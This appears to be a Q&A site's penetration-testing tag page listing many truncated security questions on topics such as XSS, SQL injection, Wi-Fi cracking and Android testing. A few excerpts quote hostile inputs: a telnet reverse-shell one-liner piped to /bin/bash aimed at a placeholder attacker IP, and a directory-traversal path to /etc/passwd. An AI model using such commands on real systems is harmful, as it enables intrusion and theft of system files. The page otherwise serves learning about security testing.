An attempt to penetrate a system's security in an effort to evaluate the protections in place.

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Security analysis of Dashlane

I've been asked by a user whether I would recommend using the Dashlane password manager. I'm aware that other password managers have had some significant security problems, including XSS and CSRF ...
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Effect of mail bombing

I have option in my application which send an invitation email to another user. Someday ago, one of my friend told me that, attacker can flood any email using this function. And i have checked that ...
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database of URLs used by penetration tools

When someone is using a penetration test tool on my site sometimes I can find out what tool is that by looking at the user agent strings in the logs. But sometimes I can't because the tool uses a ...
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How to root a virtual device in android-sdk?

I was amused to see no one have ever asked such a question here before. After a little research in google I found only a few links to root a device in avd. Somewhere I also read that the sdk is ...
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Screen capture through silent install routed back out port 80

A penetration test was allegedly done through the following method. The tester sent a user a a hyperlink that: Silently installed a piece of software/code/etc through the browser with 0 user ...
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Windows netsh pivoting

I am pentesting a windows box to which I have gained system privileges. This box has two network interfaces. I have been able to reach machines on the second interface via the below netsh command. ...
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The effect of hidden or spoofed service banners on vulnerability scanners

The linked question relates to error pages, although the same information is often available in HTTP headers, if I follow best practise of hiding service banners: Is displaying what server I am ...
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Automated server security testing best practices?

Is there a standard way of automatically testing the basic security of my web server? I've found a couple on-line services, (e.g. http://hackertarget.com/), and they seem ok, but I'd like to start off ...
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What would be a good way to create a security testing schedule?

I've been tasked with creating a formal security testing schedule / calendar for our organisation's applications, as most of our current testing (scans, pentesting, etc) is done ad hoc. I'm wondering ...
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Android/iOS application security testing checklist

According to OWASP, we have a list of top ten mobile application vulnerabilities. But we are damn sure that the number of vulnerabilities on mobile apps, especially android apps are far more than ...
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Information Gathering - Passive

I have several subnet to assess for a VA but the assessing will start next week. What could I do with the subnet that the client has already provided to me, without break anything or be intrusive ...
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ITR(Interactive TCP Relay) Configuration for penetration testing on Thick client Application [duplicate]

I am trying to do penetration testing on Thick client application. In some article I read like ITR(Interactive TCP Relay) will help in intercepting and modifying the traffic. I don't know how to ...
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Best practice in web application security authentication to avoid bruteforce attack

I want to cover the possible cases of attacking. My application already has captcha and two-factor authentication, but how can I avoid a tiny attack without annoying my users? The possible cases that ...
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what is an internal iso 27001 technical auditor? [closed]

i have been recently hired by an ISO 27001 certified company as an " internal ISO technical auditor". My employer told me that my job is described as follow: this job is created because of the need ...
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Looking for [intentionally made] vulnerable applications suitable for practicing different penetration techniques (NOT a web apps, user side ones)

I'm looking for different kinds of applications which is intentionnaly (or not) made vulnerable and so are suitable for practicing different penetration techniques, like SQL injections, buffer ...
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Wifi penetration testing: Why aireplay-ng de-authentication does not work?

I am trying to pentest the security of the password of my wireless network. It is a WPA2 with pre-shared-keys. My current computer is connected to the wifi router and I try to de-auth my own machine. ...
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Reverse shell back door

Why does this example of reverse shell backdoor require two listeners? The Listener is using nc command(nc -l ). telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> ...
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Are there any ways to leverage NTLM V2 hashes during a penetration test?

I am on a penetration test at the moment, where LM/NTMLv1 hashes are disabled. I have captured a number of NTLMv2 hashes via NBNS spoofing, however was unable to crack them after running them through ...
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SSD Self Encrypting Drives - Setup / warm boot bypass

I've seen folks deploying the SED on laptops recently. I've discovered that there is a setting in which you can do a warm boot and NOT require the bootup password to be put in again. Which makes ...
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What could happen if regex metacharacters using named capturing group are not encoded?

Let's say that a web application take a specific input from the user (e.g., search form), apply a Java regex with named caputring groups on it and use the final output to do other stuff (e.g., look ...
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XSSER get and post

I am using xsser for XSS vulnerability testing and I have a doubt about the parameters when it's a POST method. I have tried against DVWA (which uses get) with success like this: xsser -u ...
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Stored Cross-Site Scripting Without Parentheses or Spaces

I'm testing a commenting application that takes a link of the form http://google.com and puts it in an href tag as so: <a rel="nofollow" href="http://google.com"> The resulting comment is ...
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Android Penetration Testing

I need to do pen test for android mobile application. I have an android mobile and laptop connected to same wi-fi network. I need to intercept/capture the requests/traffic of the mobile in the laptop ...
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I need help on how to hack into a scammer computer via IP/DNS [closed]

I really need your help in this one. Today I got scammed by a "trader" for 100$, but I managed to get his IP, reverse DNS and Hostname but I am unskilled in hacking. I need help here, I just want to ...
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Pros/Cons of internal pentest department vs external pentesters

What are the advantages and disadvantages of having an internal pentest department in a large company compared to external service providers?
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Java org.xmlpull.v1.XmlPullParser and XML External Entity (XXE) Processing Attacks

I'm evaluating the security of an Android application and the application is using the XmlPullParser included with Android. I'm having some difficulty getting any common attacks to work, but I want ...
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How to get the information from the iframe displayed (ClickJack) to the user back to the attacker?

Just for knowledge I want to know how to get the information from the i-frame displayed to the user back to the attacker? Scenario : Suppose You are an attacker and you want to grab the private ...
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Burp configuration to allow SSL connection

I'm trying to capture Request/Responses using Burp on Mozilla. I've configured Burp Proxy on 8080 and have set same proxy settings on Firefox however when trying the Gmail link, Firefox gives "This ...
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Is server exploitable by Shellshock with cgi-enabled only?

A server with vulnerable bash, but cgi enabled only and there are no cgi scripts in cgi-bin. Is it still exploitable ?? If there are scripts in cgi-bin and only server-admin knows about filenames of ...
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Finding Directory traversal vulnerability [closed]

I want to test a web application for Directory Traversal (DT) vulnerability. I have gone through a lot of google pages but can't find a clear description. I've tried using ../.././../../etc/passwd ...
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Is there a way I can exploit any web application if on input it's reflecting back a HTML enitity?

I'm trying to check for SQL Injection or Authentication ByPass-Forced Browsing vulnerability in one of my web application. On a jsp page there's an input field. I inserted double quotes in it and it's ...
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What is the difference between active reconnaissance and scanning/enumeration

I have just started studying for CEH exam v8 and I am trying to get the core of so called hacking phases. I could not totally understand the practical difference between the first two phases. In ...
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XSS InJavaScript

Recently i was figuring out a web application and found that the url is reflected among the source of the page which make it bit obvious for xss but the input from url which is reflected on source is ...
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Pentesting an ATM OS upgraded from Windows XP to Windows 7

How to approach penetration testing of a ATM OS that was upgraded from Windows XP to Windows 7? From what I gather, the testing flow should be as follows: Architectural Review Pentesting OS and ...
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Aircrack-ng “successfuly” cracks a .cap file, but it outputs the wrong password

This is my first post and I hope this is in the right section. I've been toying with attempting to crack my wpa password with aircrack-ng and airodump. I've successfully grabbed the 4-way handshake ...
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how can we find the CSRF vulnerability in a website?

I heard that there are no specific tools available to test and find out the CSRF vulnerability of a website. So from a security testers point of view, how to test for the CSRF vulnerability?
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What is cookie reverse engineering? [closed]

I want to know what is this cookie reverse engineering and how to do this is simple words. Thanks in advance.
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POST request in curl return all the source code of the page

I am trying to exploit the mutillidae web-application and I found a page vulnerable to sql injection but with a blacklist check embedded into the HTML code. I've tried to bypass this by forging a POST ...
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Login required before SQLmap

I have a multipart form data where I am suspecting one of the multipart form fields (parameter named htmlbevt_id), to be vulnerable to SQLi. To test for the same I captured the request using Burp and ...
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What is a good browser for web application pen testing? [closed]

I am getting started in testing web applications, and I am having trouble verifying vulnerabilities. It seems all modern browsers have protections against things like XSS. When something like Burp ...
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Virtual Penetration Test Lab - Figuring Out Its Market Size

Is there any reliable data available based on which the Global Market Size of Virtual Pen Testing Labs ( or Cyber Ranges ) can be ascertained ? If NOT , is it possible to calculate it ?
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Penetration testing preventive or detective control?

I have always wondered if penetration testing is a preventive or detective control. My view is that it is both preventive (preventive as it scans for vulnerabilities, which can be fixed to prevent ...
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Smart Token Security Test [closed]

I have a question. One of my colleague gave me a Smart Token which consists of public/private key inside and asked me if I can test its security. I said it should be tested in a equipped lab for ...
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How do I continue pentesting with access to local station?

I started learning hobbyist penetration testing a while ago, and as far as penetrating a computer I have physical access to, all is good. Mainly using Hiren bootCD, it is easy to gain access to an ...
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How to simulate man in the middle attack in android emulator?

I am new to pen-testing. Yesterday i analysed one android application using dex2jar application and i saw an android application implemented https connection using empty trust manager. class miTM ...
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Replacement for DVL (Damn Vulnerable Linux)?

I've recently spotted that DVL (Damn Vulnerable Linux) has gone inactive. My first question is what happened to cause them to stop releasing it? Secondly, I have found some references to other ...
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Getting Started In Information Security field [duplicate]

I want to become a pen tester/ethical hacker,what should I do in the beginning? (I'm new to information security ,i have basic knowledge in python,will it be okay if I take CEH course,Any help is ...
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Does the EICAR test work on Linux based antivirus scanners?

Does the EICAR antivirus test work on antivirus scanners for Linux? The EICAR test is described in more detail here: http://en.wikipedia.org/wiki/EICAR_test_file The reason I ask is that it requests ...
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what is path for a software developer to gain some experience in Information Security [duplicate]

What is path for a software developer to gain some experience in Information Security or to switch a day job for being a full time web developer to Security analyst or Pen tester or Ethical hacker. ...
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Is the Java programming language used for penetration testing in practice ? If so, does the same apply to C#?

Is the Java programming language used for penetration testing in practice? I've wondered whether Java is used or can be used for penetration testing in the field (people write pen-testing suites ...